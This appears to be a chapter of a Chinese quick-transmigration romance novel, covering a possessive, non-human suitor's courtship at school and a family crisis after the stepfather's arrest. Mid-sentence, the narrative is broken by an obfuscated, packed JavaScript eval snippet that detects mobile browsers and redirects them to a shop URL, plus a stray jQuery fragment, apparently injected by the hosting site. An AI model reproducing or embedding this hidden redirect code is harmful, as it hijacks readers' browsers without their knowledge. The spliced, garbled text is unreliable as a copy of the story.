28.书信

作品:《攻略对象他不是人[快穿]

    “文笔太差,”


    宋晏怀墨色深瞳,视线停在温辞碎发下若隐若现的耳垂上,喉结微动。


    “如果阿辞喜欢这样的,我可以学着写。”


    他握着笔,笔尖在白纸上落下了一个黑点。


    “现在就可以写,阿辞想看看吗?”


    温辞听清了宋晏怀的话,震惊得差点被自己的口水呛到。


    她一把捂住了宋晏怀的嘴,又担心动静太大惹人注目。


    她松开了手,声音压抑克制,“宋晏怀,你知道你在说什么吗?”


    这是攀比文笔的时候吗?


    这是可以随便写来给人看的吗?


    “我说,”宋晏怀视线下移,落在温辞因为激动而微张的唇瓣。


    语气低沉绵密,像裹着蜜饯的青苹果,青涩又甜腻。


    “我也可以学着写。”


    “阿辞以后别看别人的,只看我的。”


    “好吗?”


    宋晏怀的视线宛如实质,让温辞感觉被注视着的皮肤都有些燥热。


    她扭过头,抿了抿唇。


    “这不是你该做的事!”


    温辞不仅脸在发烫,心脏也像坐过山车一样,急速跳动着。


    她又有些不能明白宋晏怀的脑回路了。


    当然,木偶人也不可能有脑回路。


    她没再看那双似乎要将她生吞活剥的眼睛。


    “别写,写了我也不会看。”


    “哦,”


    宋晏怀像是有些失望,轻轻地回了一句,


    “为什么?”


    温辞怀疑宋晏怀在明知故问。


    “这不是正常人会做的事。”


    温辞低下脑袋,垂头搅弄着一片衣角。


    有几缕发丝随着温辞的动作,落在了温辞白皙的脖颈,激起了一小片柔软的绒毛。


    露出的后颈,修长,细腻,像一块温润洁白的暖玉。


    宋晏怀像是突然明白了。


    “没关系,阿辞,我不是人,”


    “那我可以写给你看了吗?”


    ?


    温辞忍不住抬头,她睁大了双眼,大脑里被宋晏怀这句话噎得半天反应不过来。


    “什、什么?”


    宋晏怀凑近了些,伸手桎梏住了温辞在课桌下不断搅弄衣角的手。


    “你看了别人的信,但拒绝了我的。”


    有些粗糙的指腹,摩挲着温辞的手腕。


    “阿辞,我不开心。”


    宋晏怀的语气像是没有争夺到糖果的小孩,委屈又霸道。


    “更何况,你向我告白了,我们是很亲密的关系。”


    “我能和你做一切亲密的事情。”


    温辞被宋晏怀粗糙的指腹,不轻不重地摩挲着,手腕到脖颈上细密的绒毛,全都应激似的竖了起来。


    宋晏怀很是认真地观察着温辞的神情,在看到温辞表现在外的反应后,十分满意地眯了眯眼睛。


    宋晏怀直勾勾地看着温辞,“而且,你喜欢我,我们在恋爱,对吗?”


    ?


    到底谁喜欢谁?


    那明晃晃的爱意值到底是谁的?


    温辞觉得自己又落入了名叫宋晏怀的陷阱里。


    他什么都知道,他一直引诱着自己。


    从自己在他制造的火海中,朝他迈出救赎的那一步起。


    他就没打算放过她。


    温辞听到自己心跳如雷。


    “对。”


    话音落下,


    她感觉自己被桎梏住的手腕,稍微获得了些许喘息的空间。


    宋晏怀放松了些许摩挲的力道,只紧紧的贴着温辞细白的手腕。


    手掌下相贴的皮肤,热得像快要燃烧起来。


    广播里响起了早操开始的音乐声,温辞飞快地抽回了手,冲进了教室外的人潮中。


    [小辞,检测到你的心跳过快,结合刚才的对话与场景,]


    [我在数据库里翻了翻人类积累的经验,]


    027总结,


    [这种情况表明,你也是喜欢他的,对吧。]


    温辞没有回话,有冷风灌入脖颈,温辞才感觉到过于激烈的心跳与高温,终于平复下来些许。


    [他值得拥有一个爱他的人。]


    温辞听到了自己的回答。


    027有些高兴,如果只是为了完成任务,而被迫接受来自怪物的爱,那对他俩来说,都挺不公平。


    现在好了,027喜滋滋地在温辞脑海里放了朵烟花。


    -


    下午的班级例会上,汤致重点提及了校园内的安全问题。


    表示最近在学校内部,发生了失窃的事件。


    汤致并没有指名道姓点出温辞的名字,只表示同学们在学校内也要时刻提高警惕,看见任何形迹可疑的人,在保障自身安全的情况下,一定要及时通知保卫处。


    接着又提到了一周后的秋季运动会,希望同学们能踊跃参与。


    底下一片讨论声。


    有关心校园安全的,有期待运动会的,还有提前焦虑起年级里每月一次的月考的。


    月考。


    温辞记得,她刚来这个世界的第二天,便获得了一份排名垫底的成绩单。


    这转眼竟然又快要月考了。


    时间过得真快,温辞在心中感慨。


    旁边的宋晏怀正低头在写着什么,温辞偷偷看了一眼,似乎只是一些数学公式。


    温辞正舒了口气,就听到宋晏怀的声音在旁边响起。


    “阿辞,别着急。”


    ?


    温辞纳闷,谁着急什么?


    “告白信我写好了会送给你。阿辞,别急。”


    宋晏怀侧头看向温辞,嘴角带着笑意。


    温辞差点拍案而起,她看了眼讲台上已经结束发言,正宣布放学的汤致,转移话题。


    “放学了,王叔应该已经来接我了。”


    “我走了。”


    宋晏怀点了点头。


    “再见,阿辞。”


    -


    温辞刚上车,正好听到王叔在接电话。


    对面不知道说了什么,王叔只在连连点头。


    “好的好的,我现在已经接到小姐了,现在就去接小少爷。”


    王叔挂了电话,对坐在后座的温辞开口。


    “小辞,夫人让我绕一下,去接一下小赐。”


    林赐?


    在温辞印象里,林赐只有在周末或者节假日,才会偶尔回来一下。


    今天这是?


    “王叔,出什么事了吗?”


    正在校门口掉头的王叔有些尴尬地笑了一下。


    “小辞,我也不太清楚,”


    “等夫人回来了你可以问问她。”


    一路无言。


    汽车很快就行驶到了林赐所在的中学门前。


    正值放学时间,学校门口全是人。


    王叔将车停在了路边,在人群里寻找起林赐的身影来。


    没多久,就看到林叔朝一个男


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938694|145425||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    孩挥了挥手。


    温辞只在刚来那两天,见过一回林赐,当时只觉得是一个有些骄纵和叛逆的男孩。


    被林斯从无微不至地照顾着。


    今天再次见到,感觉林赐整个人突然变得压抑了许多。


    林赐拉开车门,见后排还坐着温辞,明显愣了一下。


    但还是侧身坐了进来。


    落座后也没有同温辞说话,只侧头看着窗外,精神有些萎靡不振的样子。


    [小辞,是林斯从找到了。]


    027在脑海里解释。


    [林斯从因为涉嫌经济犯罪,暂时被关押在警局。]


    [林赐平时在学校骄横惯了,正好有个不太对眼的同学的父亲,是此次负责林斯从案件的人员。]


    [就这样,好巧不巧的,在这位同学的宣扬下,全班同学都知道林赐的父亲,因为涉嫌犯罪被逮捕了。]


    [林赐与几位不停在背后议论、指指点点的同学动了手,这才惊动学校,通知了温如时。]


    [现在估计是要将林赐带回家,等待事态平息。]


    原主同这个弟弟并不亲密,此时的温辞也没有立场来安慰眼前的男孩。


    毕竟此时的她应该是一无所知。


    温辞在心中默默地叹了口气。


    等司机将两人送回别墅,温辞这才发现,温如时居然在家,她眉眼间有些憔悴,正闭着眼靠坐在沙发上,像是在小憩。


    听到两人进门的动静,这才惊醒过来。


    “小赐……”


    她先是轻轻喊了一声走在前面的林赐,看到温辞后,又哑着嗓子喊了一声小辞。


    温如时眼眶有些泛红,不知是睡眠不足,还是哭过。


    她坐起身来,朝两人招了招手。


    “来,坐这边来。”


    这是温辞第二次在温如时身上,看出些许脆弱无助的情绪。


    上一次露出这样的神情,还是温如时与温辞母女俩深夜谈心,回忆宋祈时。


    林赐看到了温如时,很是焦急地走过去,他坐在温如时身侧,一把握住了她的胳膊。


    “我父亲呢?”


    林赐的声音透露出一丝急躁。


    “他们说我父亲卷了温氏的巨额资金,准备逃往国外。”


    “还说我父亲,教唆杀人,与几年前的一场火灾有关。”


    “母亲,他们说的是真的吗?”


    时光飞逝,像是只弹指一瞬,曾经还抱在襁褓里圆润可爱的婴孩,便已成长为十五六岁的青葱少年。


    温如时目光灼灼地看着林赐,眼底浮现出了一丝水光。


    “小赐,妈妈可以给你转学。”


    “你不用理会那些闲言碎语。”


    “好吗?”


    林赐不可置信地睁大了双眼,松开了握着温如时的胳膊,“为我转学?”


    “为什么?”


    “他们胡言乱语,为什么要我转学?!”


    温如时像是有些哽咽,她张了张嘴,却没发出声音。


    林赐像是突然领悟到了温如时沉默背后的含义。


    他猛地站起来,少年青涩的脸上写满了不可置信。


    “他们说的……是真的?”


    一片难捱的沉默,温如时扭过脸,平日里精致的妆容也不复存在。


    她像是突然憔悴了十多岁,眼底有怎么也掩盖不住的疲倦。


    她抹了抹不受控制溢出眼眶的泪水,


    像所有在婚姻生活里受到打击的女人一样,狼狈而脆弱。